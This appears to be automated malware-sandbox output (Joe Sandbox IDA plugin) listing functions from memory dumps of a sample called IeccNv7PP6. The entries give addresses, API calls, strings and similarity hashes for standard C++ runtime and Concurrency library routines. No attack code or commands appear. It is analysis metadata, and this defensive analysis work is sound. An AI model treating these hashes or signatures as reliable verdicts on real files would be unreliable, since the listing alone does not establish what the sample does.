API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: 44ecf9bd0dd5c91555fe9cdf304f14bfeeea195f7c9b597a93ca8c7b2ae1de14
Instruction ID: 07c8acca79551836ab0f7a728b4c9623173b432218cd8653765b305677f7f045
Opcode Fuzzy Hash: 44ecf9bd0dd5c91555fe9cdf304f14bfeeea195f7c9b597a93ca8c7b2ae1de14
Instruction Fuzzy Hash: B2F081769013103FFB113B797C9992A7EACDD86A62320066AF811D22A1FE75D940866C

Function 0042FF04 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0042FEB5,00000003,?,0042FE55,00000003,00457970,0000000C,0042FFAC,00000003,00000002), ref: 0042FF24
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042FF37
FreeLibrary.KERNEL32(00000000,?,?,?,0042FEB5,00000003,?,0042FE55,00000003,00457970,0000000C,0042FFAC,00000003,00000002,00000000), ref: 0042FF5A

Strings

11@, xrefs: 0042FF48
mscoree.dll, xrefs: 0042FF1D
CorExitProcess, xrefs: 0042FF2F

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 11@$CorExitProcess$mscoree.dll
API String ID: 4061214504-3445089953
Opcode ID: 565e8aad81c42c30b4556ccca566ef737f7629af4b303484cc6756d66643e6b5
Instruction ID: b9f6d20b166e67f6b42c672312b3e089bcad04f0cb699fcb0f77a3f19f5d5cf1
Opcode Fuzzy Hash: 565e8aad81c42c30b4556ccca566ef737f7629af4b303484cc6756d66643e6b5
Instruction Fuzzy Hash: 09F0C834B00218BFDB109F50DD09B9EBFB4EF05B12F510076F805A2290CB799E44DA4C

Function 046623BB Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,0466260C,00000001,00000001,?), ref: 04662415
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0466260C,00000001,00000001,?,?,?,?), ref: 0466249B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 04662595
__freea.LIBCMT ref: 046625A2

Part of subcall function 0466392E: RtlAllocateHeap.NTDLL(00000000,0463DAFC,00000000), ref: 04663960

__freea.LIBCMT ref: 046625AB
__freea.LIBCMT ref: 046625D0

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 51f373b7acc2851bdc3dd9d03c9e40d3ec423ff86316042841f40984be93ade7
Instruction ID: 19e07e8b46822686e5bc36f44a37dae6b706d0601b91264aaca83b7143a00656
Opcode Fuzzy Hash: 51f373b7acc2851bdc3dd9d03c9e40d3ec423ff86316042841f40984be93ade7
Instruction Fuzzy Hash: 0351D372610216AFEB35AF64CCA1EAE77AAEB94754F144268FC06D6250FB34FC40C664

Function 0465E439 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0465E465
__cftoe.LIBCMT ref: 0465E497

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: f585e4267acc06fdc3d0dd0e71bd3e0fb416072b74251e024126f50d702bbe84
Instruction ID: f1909f1c68bdeac8b7cf0f6e7b48ce63d69b77d7f5e50fbb2d05f87298ce7d6c
Opcode Fuzzy Hash: f585e4267acc06fdc3d0dd0e71bd3e0fb416072b74251e024126f50d702bbe84
Instruction Fuzzy Hash: 57511F72A00205ABEF249F58CC45F6E77A9AF59364F14421DEC15D23A1FB37FB018668

Function 0463545C Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

__Cnd_init.LIBCPMT ref: 04635470
__Mtx_init.LIBCPMT ref: 04635496
std::_Cnd_initX.LIBCPMT ref: 046354B9
__Thrd_start.LIBCPMT ref: 046354DE
std::_Cnd_waitX.LIBCPMT ref: 046354FE
std::_Cnd_initX.LIBCPMT ref: 0463552B

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: 0ea570f09f259dfbc3d5b47f4c5eb340c08c0aee3b3523c1dfd7de2be87ac1a9
Instruction ID: adc9d77e16a26c939675a9424e2fffcb18bd0c7d519901990d888dcfaaec8cbc
Opcode Fuzzy Hash: 0ea570f09f259dfbc3d5b47f4c5eb340c08c0aee3b3523c1dfd7de2be87ac1a9
Instruction Fuzzy Hash: 29217471C04298AAEF15ABA4D844BDEB7F8AF0932AF14405ED500B7280FB75BA448769

Function 00428DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00428DF1,00426782,004406C0,00000008,00440A25,?,?,?,?,00423A6B,?,?,88D614C4), ref: 00428E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00428E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00428E2F
SetLastError.KERNEL32(00000000,?,00428DF1,00426782,004406C0,00000008,00440A25,?,?,?,?,00423A6B,?,?,88D614C4), ref: 00428E81

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 099e375051b82bcc48573fb8fc2ff44709712d60ae6e1d6d5c512736a9c417fd
Instruction ID: 13d4ce3fadb6930e01a7802674f608048713f2fc9b33e2444f23e675ffd4a1be
Opcode Fuzzy Hash: 099e375051b82bcc48573fb8fc2ff44709712d60ae6e1d6d5c512736a9c417fd
Instruction Fuzzy Hash: 7301D43230AB316EA6242BF67C8956F2744EB1577ABA1033FF510D12F1EE698C21954E

Function 04659061 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04659058,046569E9,04670927,00000008,04670C8C,?,?,?,?,04653CD2,?,?,0045A064), ref: 0465906F
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0465907D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04659096
SetLastError.KERNEL32(00000000,?,04659058,046569E9,04670927,00000008,04670C8C,?,?,?,?,04653CD2,?,?,0045A064), ref: 046590E8

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 099e375051b82bcc48573fb8fc2ff44709712d60ae6e1d6d5c512736a9c417fd
Instruction ID: edb5d64f78ec2a1c878e47a7989a4f5eb8873ea9710eebe81463bfe1921c29dd
Opcode Fuzzy Hash: 099e375051b82bcc48573fb8fc2ff44709712d60ae6e1d6d5c512736a9c417fd
Instruction Fuzzy Hash: 8E01FC72209B11AEB7242BF47C899272744EB05779F24073DED20413F1FF126855959C

Function 00404D77 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404D88
int.LIBCPMT ref: 00404D9F

Part of subcall function 0040BD81: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD92
Part of subcall function 0040BD81: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BDAC

std::locale::_Getfacet.LIBCPMT ref: 00404DA8
std::_Facet_Register.LIBCPMT ref: 00404DD9
std::_Lockit::~_Lockit.LIBCPMT ref: 00404DEF
__CxxThrowException@8.LIBVCRUNTIME ref: 00404E0D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 4c2bec8a94d2dfe1f31f48f90f5228b8d61b4d632ca62fad144830f22e520e62
Instruction ID: 4ef84c01712664b50a137fe66981e95a650a2e1b5a714d2619638ac2ebdb4e30
Opcode Fuzzy Hash: 4c2bec8a94d2dfe1f31f48f90f5228b8d61b4d632ca62fad144830f22e520e62
Instruction Fuzzy Hash: 9411A372D001189BCB15EBA5C841AEEB7B4AF54715F14017FE901BB2D2DB3C9A0587DC

Function 04634FDE Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 04634FEF
int.LIBCPMT ref: 04635006

Part of subcall function 0463BFE8: std::_Lockit::_Lockit.LIBCPMT ref: 0463BFF9
Part of subcall function 0463BFE8: std::_Lockit::~_Lockit.LIBCPMT ref: 0463C013

std::locale::_Getfacet.LIBCPMT ref: 0463500F
std::_Facet_Register.LIBCPMT ref: 04635040
std::_Lockit::~_Lockit.LIBCPMT ref: 04635056
__CxxThrowException@8.LIBVCRUNTIME ref: 04635074

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 4c2bec8a94d2dfe1f31f48f90f5228b8d61b4d632ca62fad144830f22e520e62
Instruction ID: f5c1a5b407b161e9e044773746ab9693b0aa98dbc41ed950ada198dcbf7fef99
Opcode Fuzzy Hash: 4c2bec8a94d2dfe1f31f48f90f5228b8d61b4d632ca62fad144830f22e520e62
Instruction Fuzzy Hash: A111C232D00268ABEB25EFA4C800AED7770AF4071AF14441DE512772D0FB76BA0587D8

Function 0040C1AE Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040C1BF
int.LIBCPMT ref: 0040C1D6

Part of subcall function 0040BD81: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD92
Part of subcall function 0040BD81: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BDAC

std::locale::_Getfacet.LIBCPMT ref: 0040C1DF
std::_Facet_Register.LIBCPMT ref: 0040C210
std::_Lockit::~_Lockit.LIBCPMT ref: 0040C226
__CxxThrowException@8.LIBVCRUNTIME ref: 0040C244

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 4e144f3e275808a570db40f1fcdaa1681d1240728c494bcfa96d4ea4c14bb240
Instruction ID: 1719d9dd00d927231adb6862ad7e4c37149c3208904b64558a42dcf46f1f70c2
Opcode Fuzzy Hash: 4e144f3e275808a570db40f1fcdaa1681d1240728c494bcfa96d4ea4c14bb240
Instruction Fuzzy Hash: 2011A072D00228DBCB14EBA4D891AEDB774AF44314F14057EE401BB2D2DF3C9A0587D9

Function 004054F7 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00405508
int.LIBCPMT ref: 0040551F

Part of subcall function 0040BD81: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD92
Part of subcall function 0040BD81: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BDAC

std::locale::_Getfacet.LIBCPMT ref: 00405528
std::_Facet_Register.LIBCPMT ref: 00405559
std::_Lockit::~_Lockit.LIBCPMT ref: 0040556F
__CxxThrowException@8.LIBVCRUNTIME ref: 0040558D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: e4ce11b37ce44f7ba8e9afc7401a0a9b198b24000e5175f43f23aaf661957535
Instruction ID: 335d1a0449174c4850433ac7d89b0c6b75dcf3c5386a47d7b2396d3cdec16656
Opcode Fuzzy Hash: e4ce11b37ce44f7ba8e9afc7401a0a9b198b24000e5175f43f23aaf661957535
Instruction Fuzzy Hash: 5B117072D005289BCB15EBA4D841AEEB774EF44319F54013EE415BB2D2DB389E058B9C

Function 00405593 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004055A4
int.LIBCPMT ref: 004055BB

Part of subcall function 0040BD81: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD92
Part of subcall function 0040BD81: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BDAC

std::locale::_Getfacet.LIBCPMT ref: 004055C4
std::_Facet_Register.LIBCPMT ref: 004055F5
std::_Lockit::~_Lockit.LIBCPMT ref: 0040560B
__CxxThrowException@8.LIBVCRUNTIME ref: 00405629

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 512af338323df7cd9b5461e6ba28ebb24eb4a9fd8b3f2c51b537379dd0adb521
Instruction ID: 8e1419515e35d36fc68c9e18a3e27bb0650dc63e33415fac19ced33b622727b6
Opcode Fuzzy Hash: 512af338323df7cd9b5461e6ba28ebb24eb4a9fd8b3f2c51b537379dd0adb521
Instruction Fuzzy Hash: B911AC729006289BCF14EBA0C841AEEB360EF44319F14043FE811BB2D2DB389A058BDC

Function 00404C39 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404C4A
int.LIBCPMT ref: 00404C61

Part of subcall function 0040BD81: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD92
Part of subcall function 0040BD81: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BDAC

std::locale::_Getfacet.LIBCPMT ref: 00404C6A
std::_Facet_Register.LIBCPMT ref: 00404C9B
std::_Lockit::~_Lockit.LIBCPMT ref: 00404CB1
__CxxThrowException@8.LIBVCRUNTIME ref: 00404CCF

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 80a228f69bd2cb3116441d1b51d3088f88c36febe04a249c7f41ad217ba583fd
Instruction ID: 7f60e392e4a430ae1f2c93b626e46d5b6b74a1b844d6ec56694562dd50cc071c
Opcode Fuzzy Hash: 80a228f69bd2cb3116441d1b51d3088f88c36febe04a249c7f41ad217ba583fd
Instruction Fuzzy Hash: 6811A072D001289BCB14EBA0C841AEEB7B0AF84319F11003EE511BB2E2DB3C990487D8

Function 0463C415 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0463C426
int.LIBCPMT ref: 0463C43D

Part of subcall function 0463BFE8: std::_Lockit::_Lockit.LIBCPMT ref: 0463BFF9
Part of subcall function 0463BFE8: std::_Lockit::~_Lockit.LIBCPMT ref: 0463C013

std::locale::_Getfacet.LIBCPMT ref: 0463C446
std::_Facet_Register.LIBCPMT ref: 0463C477
std::_Lockit::~_Lockit.LIBCPMT ref: 0463C48D
__CxxThrowException@8.LIBVCRUNTIME ref: 0463C4AB

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 4e144f3e275808a570db40f1fcdaa1681d1240728c494bcfa96d4ea4c14bb240
Instruction ID: c0eab560473db2fd4a80294644811e7cf4c18c5098ff08d3e2de80bfe156cecf
Opcode Fuzzy Hash: 4e144f3e275808a570db40f1fcdaa1681d1240728c494bcfa96d4ea4c14bb240
Instruction Fuzzy Hash: 9211CE329002A89BEB11FBA4C800AFD7760AF5471AF14051DE9117B2D1FB75BA05CBA8

Function 04634EA0 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 04634EB1
int.LIBCPMT ref: 04634EC8

Part of subcall function 0463BFE8: std::_Lockit::_Lockit.LIBCPMT ref: 0463BFF9
Part of subcall function 0463BFE8: std::_Lockit::~_Lockit.LIBCPMT ref: 0463C013

std::locale::_Getfacet.LIBCPMT ref: 04634ED1
std::_Facet_Register.LIBCPMT ref: 04634F02
std::_Lockit::~_Lockit.LIBCPMT ref: 04634F18
__CxxThrowException@8.LIBVCRUNTIME ref: 04634F36

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 80a228f69bd2cb3116441d1b51d3088f88c36febe04a249c7f41ad217ba583fd
Instruction ID: 4548d9e6f82dca5139cd520f4262af2f39855372b3bb58b754473861572c9546
Opcode Fuzzy Hash: 80a228f69bd2cb3116441d1b51d3088f88c36febe04a249c7f41ad217ba583fd
Instruction Fuzzy Hash: 7B11E5728002A89BDF11EB64C844AEDB770AF4071AF14001DE510773E0FF75BA04C798

Function 04658957 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0465898A
__IsNonwritableInCurrentImage.LIBCMT ref: 04658A43

Strings

@fB, xrefs: 04658A35, 04658A3E, 04658A4F
csm, xrefs: 04658A2D
11@, xrefs: 04658A5C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: 11@$@fB$csm
API String ID: 3480331319-1464837749
Opcode ID: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction ID: ebefc043f7f167c391f53ebf17c33caaf092352c17848413c40d629507d60737
Opcode Fuzzy Hash: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction Fuzzy Hash: 3441C834A00209ABCF10EF6DC840AAE7BB5AF45328F148155EC159B7A1E736BA25CB95

Function 0042370F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000), ref: 00423759
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00423741

Part of subcall function 0041B74C: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0041B76D

__CxxThrowException@8.LIBVCRUNTIME ref: 0042378A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004237B3

Strings

11@, xrefs: 00423730, 004237A2

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8
String ID: 11@
API String ID: 2630251706-1785270423
Opcode ID: 458ed3e5417ba220ed4bd1e4a28432a397d2c2fe66a31dff9dce91352e516156
Instruction ID: 33ce48ef146ac78a3ef221314cc781bfd8a3c25b4f9a6e194e2960aa52b33145
Opcode Fuzzy Hash: 458ed3e5417ba220ed4bd1e4a28432a397d2c2fe66a31dff9dce91352e516156
Instruction Fuzzy Hash: 9C110B757002106BCF047F65DC85DAE7765EF84772B10416BFA05D7292CFAC9E41CA98

Function 0041CE2D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0041CE41
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0041CE65
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041CE78
__CxxThrowException@8.LIBVCRUNTIME ref: 0041CE86

Strings

pScheduler, xrefs: 0041CE70

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 3657713681-923244539
Opcode ID: 9390b3195b713983fe10ad4c3c6d405898b6246382bfd66b9966ffe9dd40d037
Instruction ID: 46b9ecfe0875f7f86596c353a9bffc422044863c42dab0ab2bac390bf5a45ba1
Opcode Fuzzy Hash: 9390b3195b713983fe10ad4c3c6d405898b6246382bfd66b9966ffe9dd40d037
Instruction Fuzzy Hash: 8FF0593594070863C324EB15DC828DEB3799E91728360812FE40563182CF3CAE8AC69D

Function 0041E63D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0041E65F
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041E672
__CxxThrowException@8.LIBVCRUNTIME ref: 0041E680

Strings

11@, xrefs: 0041E653
pContext, xrefs: 0041E66A

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: 11@$pContext
API String ID: 1990795212-1086721755
Opcode ID: a1f300e0f29ed94639b3e21e46aa6b462f5911b6182861392c7cf2f18a492d1f
Instruction ID: 1f218d0b40ab772f1aed9042d58143e35ca4ab3a9892fa22be9c34d269449320
Opcode Fuzzy Hash: a1f300e0f29ed94639b3e21e46aa6b462f5911b6182861392c7cf2f18a492d1f
Instruction Fuzzy Hash: 45E06139B0011457CB04FB66DC06C5DB7A8AEC0B14750006FF901A3342DFB8A90585C8

Function 00411EB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00411EBC

Part of subcall function 00411132: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00411153
Part of subcall function 00411132: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0041118A
Part of subcall function 00411132: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00411196

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00411EC8

Part of subcall function 00410AA3: Concurrency::critical_section::unlock.LIBCMT ref: 00410AC7

Concurrency::Context::Block.LIBCONCRT ref: 00411ECD

Part of subcall function 00412C81: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00412C83

Concurrency::critical_section::lock.LIBCONCRT ref: 00411EED

Part of subcall function 0041105B: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 00411069
Part of subcall function 0041105B: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00411076
Part of subcall function 0041105B: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00411081

Strings

11@, xrefs: 00411EE0

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::LockQueue$NodeNode::$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID: 11@
API String ID: 3659872527-1785270423
Opcode ID: 82de0933dc6785f3946ddc0ad7c0081e97ef1b3c93ec0f171fb3e506e287e00c
Instruction ID: 5f19519383477fd90e693e8c592c5b4d2a982a5ecb934fba7b69a42e3a353b75
Opcode Fuzzy Hash: 82de0933dc6785f3946ddc0ad7c0081e97ef1b3c93ec0f171fb3e506e287e00c
Instruction Fuzzy Hash: E8E0D8355005029BCB04FF21C5614DCFB617F44354B10825EE466432E1CF785D86CB88

Function 0464211F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 04642123

Part of subcall function 04641399: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 046413BA
Part of subcall function 04641399: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 046413F1
Part of subcall function 04641399: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 046413FD

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0464212F

Part of subcall function 04640D0A: Concurrency::critical_section::unlock.LIBCMT ref: 04640D2E

Concurrency::Context::Block.LIBCONCRT ref: 04642134

Part of subcall function 04642EE8: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 04642EEA

Concurrency::critical_section::lock.LIBCONCRT ref: 04642154

Part of subcall function 046412C2: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 046412D0
Part of subcall function 046412C2: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 046412DD
Part of subcall function 046412C2: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 046412E8

Strings

11@, xrefs: 04642147

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::LockQueue$NodeNode::$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID: 11@
API String ID: 3659872527-1785270423
Opcode ID: 82de0933dc6785f3946ddc0ad7c0081e97ef1b3c93ec0f171fb3e506e287e00c
Instruction ID: 3009484e4258feee0f63972d666e0098522fb050a3ca6c0133b0c043cb8038cc
Opcode Fuzzy Hash: 82de0933dc6785f3946ddc0ad7c0081e97ef1b3c93ec0f171fb3e506e287e00c
